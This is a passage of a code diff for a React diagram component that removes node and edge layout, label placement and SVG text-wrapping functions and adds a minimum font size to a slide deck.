=== 'tree' ? 128 : layout === 'swimlane' ? (dense ? 164 : 176) : dense ? 112 : 144; - const padding = { top: 64, right: 64, bottom: 72, left: 72 }; - const laneList = layout === 'swimlane' - ? lanes ?? Array.from(new Set(nodes.map((node) => node.lane ?? 'default'))).map((id) => ({ id, label: id })) - : []; - const laneIndex = new Map(laneList.map((lane, index) => [lane.id, index])); - const rankValues = Array.from(new Set(nodes.map((node, declarationIndex) => rankForNode(node, declarationIndex, layout, rankMap, dates)))).sort((a, b) => a - b); - const rankIndex = new Map(rankValues.map((rank, index) => [rank, index])); - const swimlaneOrientation: SwimlaneOrientation = layout === 'swimlane' && rankValues.length > 4 ? 'vertical' : 'horizontal'; - const swimlaneRankGap = dense ? 34 : 42; - const swimlaneColumnPitch = swimlaneOrientation === 'vertical' - ? laneList.length <= 6 - ? Math.max(136, Math.floor((960 - padding.left - padding.right) / Math.max(1, laneList.length))) - : dense ? 168 : 184 - : columnGap; - const swimlaneNodeMax = swimlaneOrientation === 'vertical' ? Math.max(124, Math.min(164, swimlaneColumnPitch - 32)) : 240; - const orderedDates = dates ?? Array.from(new Set(nodes.map((node) => node.date).filter(Boolean))) as string[]; - const dateIndex = new Map(orderedDates.map((date, index) => [date, index])); - const rankCounts = new Map(); - const laneRankCounts = new Map(); - let accentsUsed = 0; - const measured = nodes.map((node, declarationIndex) => { - const rank = layout === 'timeline' && node.date ? dateIndex.get(node.date) ?? declarationIndex : rankMap.get(node.id) ?? declarationIndex; - const inRank = rankCounts.get(rank) ?? 0; - rankCounts.set(rank, inRank + 1); - const wrapsDenseFlow = dense && layout !== 'swimlane' && layout !== 'timeline'; - const wrapColumns = 4; - const rankBand = wrapsDenseFlow ? Math.floor(rank / wrapColumns) : 0; - const visualRank = wrapsDenseFlow - ? rankBand % 2 === 0 - ? rank % wrapColumns - : wrapColumns - 1 - (rank % wrapColumns) - : rank; - const laneKey = `${node.lane ?? 'default'}::${rank}`; - const laneStack = layout === 'swimlane' ? laneRankCounts.get(laneKey) ?? 0 : 0; - if (layout === 'swimlane') laneRankCounts.set(laneKey, laneStack + 1); - const row = layout === 'swimlane' ? laneIndex.get(node.lane ?? 'default') ?? 0 : inRank + rankBand * 2; - const { width, height } = measureDiagramNode(node, dense, nodeHeight, swimlaneNodeMax); - const isAccented = Boolean(node.accent && accentsUsed < 2); - if (isAccented) accentsUsed += 1; - return { ...node, x: 0, y: 0, width, height, rank, row, order: declarationIndex, visualRank, laneStack, inRank, isAccented }; - }); - const laidOut = swimlaneOrientation === 'vertical' - ? layoutVerticalSwimlane(measured, laneIndex, rankIndex, padding, swimlaneColumnPitch, swimlaneRankGap) - : measured.map((node) => ({ - ...node, - x: padding.left + node.visualRank * columnGap, - y: padding.top + node.row * rowGap + (layout === 'timeline' && node.row % 2 ? 58 : 0) + node.laneStack * (nodeHeight + 16), - })); - const byId = new Map(laidOut.map((node) => [node.id, node])); - const connectedEdgePairs = edges.flatMap((edge) => { - const from = byId.get(edge.from); - const to = byId.get(edge.to); - return from && to ? [{ edge, from, to }] : []; - }); - const minX = Math.min(...laidOut.map((node) => node.x), padding.left) - padding.left; - const minY = Math.min(...laidOut.map((node) => node.y), padding.top) - padding.top; - const maxX = Math.max(...laidOut.map((node) => node.x + node.width), padding.left + 520) + padding.right; - const maxY = Math.max(...laidOut.map((node) => node.y + node.height), padding.top + 300) + padding.bottom; - const bounds = { minX, minY, maxX, maxY }; - const connectedEdges = placeEdgeLabels( - connectedEdgePairs.map(({ edge, from, to }) => ({ - edge, - from, - to, - path: edgeRoute(from, to, swimlaneOrientation === 'vertical' && layout === 'swimlane' ? 'vertical' : 'horizontal'), - })), - laidOut, - bounds, - dense, - ); - const finalMaxX = Math.max(maxX, ...connectedEdges.flatMap(({ label }) => label ? [label.x + label.width / 2 + 24] : [])); - const finalMaxY = Math.max(maxY, ...connectedEdges.flatMap(({ label }) => label ? [label.y + label.height / 2 + 32] : [])); - const bodyBottom = finalMaxY - 56; - const laneRects = laneList.map((lane, index) => swimlaneOrientation === 'vertical' ? ({ - id: lane.id, - label: lane.label.toUpperCase(), - orientation: 'vertical' as const, - divider: index < laneList.length - 1, - x: padding.left + index * swimlaneColumnPitch - swimlaneColumnPitch / 2 + 8, - y: minY + 22, - width: swimlaneColumnPitch, - height: bodyBottom - minY - 28, - }) : ({ - id: lane.id, - label: lane.label.toUpperCase(), - orientation: 'horizontal' as const, - divider: false, - x: minX + 18, - y: padding.top + index * rowGap - 28, - width: finalMaxX - minX - 36, - height: rowGap, - })); - const shapeSet = new Set(nodes.map((node) => node.shape ?? 'rect')); - const styleSet = new Set(edges.map((edge) => edge.style ?? 'solid')); - const legendEntries: LegendEntry[] = []; - if (nodes.some((node) => node.accent)) legendEntries.push({ label: 'FOCAL', accent: true }); - if (styleSet.has('solid') && styleSet.size > 1) legendEntries.push({ label: 'SOLID' }); - if (styleSet.has('dashed')) legendEntries.push({ label: 'DASHED', dashed: true }); - if (styleSet.has('bidirectional')) legendEntries.push({ label: 'TWO-WAY' }); - if (shapeSet.size > 1) legendEntries.push({ label: 'SHAPES VARY' }); - return { - nodes: laidOut, - edges: connectedEdges, - lanes: laneRects, - laneLabels: new Map(laneList.map((lane) => [lane.id, lane.label.toUpperCase()])), - dense, - orientation: swimlaneOrientation, - bodyBottom, - legend: { - x: minX + 28, - y: finalMaxY - 24, - entries: legendEntries.slice(0, 5), - // Entries start after the measured meta text ("SWIMLANE / 8 nodes / 12 edges") - // instead of a fixed offset that collides with longer meta strings. - entryStartX: minX + 28 + `${layout.toUpperCase()} / ${nodes.length} nodes / ${edges.length} edges`.length * 6.6 + 32, - }, - viewBox: { x: minX, y: minY, width: finalMaxX - minX, height: finalMaxY - minY }, - }; -} - -function rankForNode( - node: DiagramNode, - declarationIndex: number, - layout: NonNullable, - rankMap: Map, - dates?: string[], -) { - if (layout !== 'timeline' || !node.date) return rankMap.get(node.id) ?? declarationIndex; - const orderedDates = dates ?? []; - const dateIndex = new Map(orderedDates.map((date, index) => [date, index])); - return dateIndex.get(node.date) ?? declarationIndex; -} - -function measureDiagramNode(node: DiagramNode, dense: boolean, nodeHeight: number, maxWidth = 240) { - const width = node.shape === 'dot' - ? 32 - : dense - ? Math.max(124, Math.min(Math.min(152, maxWidth), node.label.length * 8 + 48)) - : Math.max(Math.min(152, maxWidth), Math.min(maxWidth, node.label.length * 10 + 72, (node.detail?.length ?? 0) * 5 + 72)); - const compact = width <= 140; - const detailMaxLines = compact ? 2 : 3; - const labelLineCount = node.shape === 'dot' ? 1 : splitSvgText(node.label, compact ? 15 : 20, { maxLines: 2 }).length; - const detailLineCount = node.detail && node.shape !== 'dot' ? splitSvgText(node.detail, compact ? 17 : 28, { ellipsis: true, maxLines: detailMaxLines }).length : 0; - const textBottom = (compact ? 59 : 72) + Math.max(0, labelLineCount - 1) * (compact ? 16 : 18) + (detailLineCount > 0 ? (detailLineCount - 1) * 13 + 12 : 0); - const height = node.shape === 'dot' ? 42 : Math.max(nodeHeight, textBottom + 14); - return { width, height }; -} - -function layoutVerticalSwimlane( - measured: T[], - laneIndex: Map, - rankIndex: Map, - padding: { top: number; left: number }, - columnPitch: number, - rowGap: number, -) { - const groupMap = new Map(); - for (const node of measured) { - const key = `${node.lane ?? 'default'}::${node.rank}`; - groupMap.set(key, [...groupMap.get(key) ?? [], node]); - } - const rowHeights = new Map(); - for (const [key, group] of groupMap) { - const rank = Number(key.split('::').at(-1)); - const sideBySideWidth = group.reduce((sum, node) => sum + node.width, 0) + Math.max(0, group.length - 1) * 12; - const groupHeight = sideBySideWidth <= columnPitch - 32 - ? Math.max(...group.map((node) => node.height)) - : group.reduce((sum, node) => sum + node.height, 0) + Math.max(0, group.length - 1) * 16; - const rankRow = rankIndex.get(rank) ?? rank; - rowHeights.set(rankRow, Math.max(rowHeights.get(rankRow) ?? 0, groupHeight)); - } - const rankY = new Map(); - let cursorY = padding.top + 54; - const rankRows = Array.from(new Set([...rankIndex.values()])).sort((a, b) => a - b); - for (const rankRow of rankRows) { - rankY.set(rankRow, cursorY); - cursorY += (rowHeights.get(rankRow) ?? 96) + rowGap; - } - const groupPositions = new Map>(); - for (const [key, group] of groupMap) { - const rank = Number(key.split('::').at(-1)); - const rankRow = rankIndex.get(rank) ?? rank; - const sideBySideWidth = group.reduce((sum, node) => sum + node.width, 0) + Math.max(0, group.length - 1) * 12; - const fitsSideBySide = sideBySideWidth <= columnPitch - 32; - const lane = laneIndex.get(group[0]?.lane ?? 'default') ?? 0; - const laneCenter = padding.left + lane * columnPitch; - const y = rankY.get(rankRow) ?? padding.top; - const positions = new Map(); - if (fitsSideBySide) { - let x = laneCenter - sideBySideWidth / 2; - for (const node of group) { - positions.set(node.id, { x, y }); - x += node.width + 12; - } - } else { - let stackY = y; - for (const node of group) { - positions.set(node.id, { x: laneCenter - node.width / 2, y: stackY }); - stackY += node.height + 16; - } - } - groupPositions.set(key, positions); - } - return measured.map((node) => { - const key = `${node.lane ?? 'default'}::${node.rank}`; - const point = groupPositions.get(key)?.get(node.id) ?? { x: padding.left, y: padding.top }; - return { ...node, x: point.x, y: point.y }; - }); -} - -function edgeRoute(from: LaidOutNode, to: LaidOutNode, orientation: SwimlaneOrientation): Point[] { - const start = edgePoint(from, to, orientation, true); - const end = edgePoint(to, from, orientation, false); - if (Math.abs(start.x - end.x) < 4 || Math.abs(start.y - end.y) < 4) return [start, end]; - if (orientation === 'vertical') { - const midY = Math.round((start.y + end.y) / 2 / 4) * 4; - return [{ ...start }, { x: start.x, y: midY }, { x: end.x, y: midY }, { ...end }]; - } - const midX = Math.round((start.x + end.x) / 2 / 4) * 4; - return [{ ...start }, { x: midX, y: start.y }, { x: midX, y: end.y }, { ...end }]; -} - -function placeEdgeLabels(edges: Array>, nodes: LaidOutNode[], bounds: { minX: number; minY: number; maxX: number; maxY: number }, dense: boolean): LaidOutEdge[] { - const occupied = nodes.map((node) => expandRect(nodeRect(node), 5)); - const laidOut = edges.map((item) => { - const lines = item.edge.label ? splitSvgText(item.edge.label, dense ? 18 : 24).slice(0, 2) : []; - if (!lines.length) return item; - const width = Math.max(64, Math.min(dense ? 128 : 168, Math.max(...lines.map((line) => line.length)) * 6 + 24)); - const height = lines.length > 1 ? 34 : 22; - const label = findLabelSlot(item.path, width, height, occupied, bounds, lines); - occupied.push(expandRect(labelRect(label), 4)); - return { ...item, label }; - }); - const overlaps = collectLabelOverlaps(laidOut.filter((edge): edge is LaidOutEdge => Boolean(edge.label)), nodes); - if (overlaps.length && typeof console !== 'undefined') { - console.warn(`DiagramCanvas edge-label overlap avoided incompletely: ${overlaps.slice(0, 4).join(', ')}`); - } - return laidOut; -} - -function findLabelSlot(path: Point[], width: number, height: number, occupied: Rect[], bounds: { minX: number; minY: number; maxX: number; maxY: number }, lines: string[]): EdgeLabelLayout { - const tValues = [0.5, 0.42, 0.58, 0.34, 0.66, 0.26, 0.74]; - const offsets = [0, -16, 16, -24, 24]; - for (const t of tValues) { - const sample = pointAtPath(path, t); - for (const offset of offsets) { - const candidate = labelFromSample(sample, width, height, lines, offset); - if (labelFits(candidate, occupied, bounds)) return candidate; - } - } - const anchor = pointAtPath(path, 0.5); - for (const yOffset of [28, 44, 60, 76, 96, 116]) { - const x = clamp(anchor.point.x, bounds.minX + width / 2 + 12, bounds.maxX - width / 2 - 12); - const y = anchor.point.y + yOffset; - const candidate = { x, y, width, height, lines, anchor: anchor.point, leader: true }; - if (labelFits(candidate, occupied, { ...bounds, maxY: bounds.maxY + 160 })) return candidate; - } - return { x: anchor.point.x, y: anchor.point.y + 116, width, height, lines, anchor: anchor.point, leader: true }; -} - -function labelFromSample(sample: { point: Point; tangent: Point }, width: number, height: number, lines: string[], offset: number): EdgeLabelLayout { - const length = Math.hypot(sample.tangent.x, sample.tangent.y) || 1; - const normal = { x: -sample.tangent.y / length, y: sample.tangent.x / length }; - const x = sample.point.x + normal.x * offset; - const y = sample.point.y + normal.y * offset; - return { - x, - y, - width, - height, - lines, - anchor: sample.point, - leader: Math.hypot(x - sample.point.x, y - sample.point.y) > 20, - }; -} - -function pointAtPath(path: Point[], t: number) { - const segments = path.slice(1).map((point, index) => { - const start = path[index]!; - const length = Math.hypot(point.x - start.x, point.y - start.y); - return { start, end: point, length }; - }); - const total = segments.reduce((sum, segment) => sum + segment.length, 0) || 1; - let remaining = total * t; - for (const segment of segments) { - if (remaining <= segment.length || segment === segments.at(-1)) { - const local = segment.length ? remaining / segment.length : 0; - return { - point: { - x: segment.start.x + (segment.end.x - segment.start.x) * local, - y: segment.start.y + (segment.end.y - segment.start.y) * local, - }, - tangent: { x: segment.end.x - segment.start.x, y: segment.end.y - segment.start.y }, - }; - } - remaining -= segment.length; - } - return { point: path[0] ?? { x: 0, y: 0 }, tangent: { x: 1, y: 0 } }; -} - -function labelFits(label: EdgeLabelLayout, occupied: Rect[], bounds: { minX: number; minY: number; maxX: number; maxY: number }) { - const rect = labelRect(label); - if (rect.x < bounds.minX + 8 || rect.x + rect.width > bounds.maxX - 8 || rect.y < bounds.minY + 8 || rect.y + rect.height > bounds.maxY + 8) return false; - return occupied.every((other) => !rectsIntersect(rect, other)); -} - -function collectLabelOverlaps(edges: LaidOutEdge[], nodes: LaidOutNode[]) { - const nodeRects = nodes.map((node) => ({ id: node.id, rect: nodeRect(node) })); - const labels = edges.flatMap((edge, index) => edge.label ? [{ id: `${edge.edge.from}->${edge.edge.to}#${index}`, rect: labelRect(edge.label) }] : []); - const overlaps: string[] = []; - for (const label of labels) { - for (const node of nodeRects) { - if (rectsIntersect(label.rect, node.rect)) overlaps.push(`${label.id} over ${node.id}`); - } - } - for (let i = 0; i < labels.length; i += 1) { - for (let j = i + 1; j < labels.length; j += 1) { - if (rectsIntersect(labels[i]!.rect, labels[j]!.rect)) overlaps.push(`${labels[i]!.id} over ${labels[j]!.id}`); - } - } - return overlaps; -} - -function computeRanks(nodes: DiagramNode[], edges: DiagramEdge[]) { - const ids = new Set(nodes.map((node) => node.id)); - const incoming = new Map(nodes.map((node) => [node.id, 0])); - const outgoing = new Map(nodes.map((node) => [node.id, [] as string[]])); - for (const edge of edges) { - if (!ids.has(edge.from) || !ids.has(edge.to)) continue; - incoming.set(edge.to, (incoming.get(edge.to) ?? 0) + 1); - outgoing.get(edge.from)?.push(edge.to); - } - const ranks = new Map(); - const queue = nodes.filter((node) => (incoming.get(node.id) ?? 0) === 0).map((node) => node.id); - for (const id of queue) ranks.set(id, 0); - while (queue.length) { - const id = queue.shift()!; - const nextRank = (ranks.get(id) ?? 0) + 1; - for (const child of outgoing.get(id) ?? []) { - ranks.set(child, Math.max(ranks.get(child) ?? 0, nextRank)); - incoming.set(child, (incoming.get(child) ?? 1) - 1); - if ((incoming.get(child) ?? 0) === 0) queue.push(child); - } - } - nodes.forEach((node, index) => { - if (!ranks.has(node.id)) ranks.set(node.id, index); - }); - return ranks; -} - -function edgePoint(node: LaidOutNode, toward: LaidOutNode, orientation: SwimlaneOrientation, isStart: boolean) { - const gap = 8; - const cx = node.x + node.width / 2; - const cy = node.y + node.height / 2; - const tx = toward.x + toward.width / 2; - const ty = toward.y + toward.height / 2; - const dx = tx - cx; - const dy = ty - cy; - if (orientation === 'vertical' && node.rank !== toward.rank) { - const forward = toward.rank > node.rank; - if ((isStart && forward) || (!isStart && !forward)) return { x: cx, y: node.y + node.height + gap }; - return { x: cx, y: node.y - gap }; - } - if (Math.abs(dx) > Math.abs(dy)) return { x: cx + Math.sign(dx) * (node.width / 2 + gap), y: cy }; - return { x: cx, y: cy + Math.sign(dy) * (node.height / 2 + gap) }; -} - -function edgePath(points: Point[]) { - return points.map((point, index) => `${index === 0 ? 'M' : 'L'} ${point.x} ${point.y}`).join(' '); -} - -function nodeRect(node: LaidOutNode): Rect { - return { x: node.x, y: node.y, width: node.width, height: node.height }; -} - -function labelRect(label: EdgeLabelLayout): Rect { - return { x: label.x - label.width / 2, y: label.y - label.height / 2, width: label.width, height: label.height }; -} - -function labelLeaderEndpoint(label: EdgeLabelLayout): Point { - const rect = labelRect(label); - const center = { x: label.x, y: label.y }; - const dx = label.anchor.x - center.x; - const dy = label.anchor.y - center.y; - if (Math.abs(dx) * rect.height > Math.abs(dy) * rect.width) { - return { - x: dx > 0 ? rect.x + rect.width : rect.x, - y: clamp(center.y + dy * (rect.width / 2) / (Math.abs(dx) || 1), rect.y, rect.y + rect.height), - }; - } - return { - x: clamp(center.x + dx * (rect.height / 2) / (Math.abs(dy) || 1), rect.x, rect.x + rect.width), - y: dy > 0 ? rect.y + rect.height : rect.y, - }; -} - -function expandRect(rect: Rect, amount: number): Rect { - return { x: rect.x - amount, y: rect.y - amount, width: rect.width + amount * 2, height: rect.height + amount * 2 }; -} - -function rectsIntersect(a: Rect, b: Rect) { - return a.x < b.x + b.width && a.x + a.width > b.x && a.y < b.y + b.height && a.y + a.height > b.y; -} - -function clamp(value: number, min: number, max: number) { - return Math.min(max, Math.max(min, value)); -} - function DiagramNodeShape({ item, index }: { item: LaidOutNode; index: number }) { const compact = item.width <= 140; const labelY = item.shape === 'dot' ? item.y + item.height + 20 : item.y + (compact ? 37 : 44); @@ -1214,71 +741,6 @@ function DiagramNodeShape({ item, index }: { item: LaidOutNode; index: number }) const svgTextOverflowStyle: React.CSSProperties = { overflowX: 'auto', overflowY: 'auto' }; -function splitSvgText(value: string, maxChars: number, options: { ellipsis?: boolean; maxLines?: number } = {}) { - const explicit = String(value).split(/\n/g); - const lines = explicit.flatMap((line) => wrapWords(line, maxChars)).filter((line) => line.length > 0); - if (!options.maxLines || lines.length <= options.maxLines) return lines.length ? lines : ['']; - const visible = lines.slice(0, options.maxLines); - if (options.ellipsis) visible[visible.length - 1] = withEllipsis(visible[visible.length - 1]!, maxChars); - return visible.length ? visible : ['']; -} - -function wrapWords(value: string, maxChars: number) { - const normalized = value.replace(/\s*·\s*/gu, ' · ').replace(/\s+\/\s+/gu, ' / '); - const words = normalized.split(/(\s+)/).filter((part) => part.length > 0); - const lines: string[] = []; - let current = ''; - for (const word of words) { - const compact = /^\s+$/.test(word) ? ' ' : word; - const candidate = `${current}${compact}`; - if (current && candidate.trim().length > maxChars) { - const line = cleanWrappedLine(current); - if (line) lines.push(line); - current = isDanglingSeparator(compact) ? '' : compact.trimStart(); - } else { - current = candidate; - } - } - const line = cleanWrappedLine(current); - if (line) lines.push(line); - return balanceWrappedLines(lines, maxChars); -} - -function balanceWrappedLines(lines: string[], maxChars: number) { - if (lines.length < 2) return lines.length ? lines : ['']; - const balanced = [...lines]; - for (let index = balanced.length - 1; index > 0; index -= 1) { - const line = balanced[index]!; - if (line.length > 8) continue; - const previous = balanced[index - 1]!; - const previousWords = previous.split(/\s+/); - if (previousWords.length < 2) continue; - const moved = previousWords.pop()!; - const candidate = cleanWrappedLine(`${moved} ${line}`); - if (candidate.length > maxChars) continue; - balanced[index - 1] = cleanWrappedLine(previousWords.join(' ')); - balanced[index] = candidate; - } - return balanced.filter((line) => line.length > 0); -} - -function cleanWrappedLine(value: string) { - return value.trim().replace(/^[·,/]\s*/u, '').replace(/\s*[·,/]\s*$/u, '').trim(); -} - -function isDanglingSeparator(value: string) { - return /^[\s·,/]+$/u.test(value); -} - -function withEllipsis(value: string, maxChars: number) { - const clean = cleanWrappedLine(value); - if (clean.length + 1 <= maxChars) return `${clean}…`; - const clipped = clean.slice(0, Math.max(1, maxChars - 1)); - const boundary = Math.max(clipped.lastIndexOf(' '), clipped.lastIndexOf('·'), clipped.lastIndexOf('/'), clipped.lastIndexOf(',')); - const base = boundary > 4 ? clipped.slice(0, boundary) : clipped; - return `${cleanWrappedLine(base)}…`; -} - function escapeHtml(input: string) { return input.replace(/[&<>"']/g, (char) => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[char]!); } @@ -1482,6 +944,11 @@ export function SlideDeck({ }`} data-ve-deck={orientation} data-ve-preset={preset} + // Autofit safety net: `--min-font-size` is a real floor, not decoration — + // Slide's body-text font-size is computed as `clamp(var(--min-font-size), , )`, + // so shrinking the fluid term below this floor at narrow viewports still + // renders at (at least) --min-font-size instead of continuing to shrink. + style={{ '--min-font-size': '16px' } as React.CSSProperties} >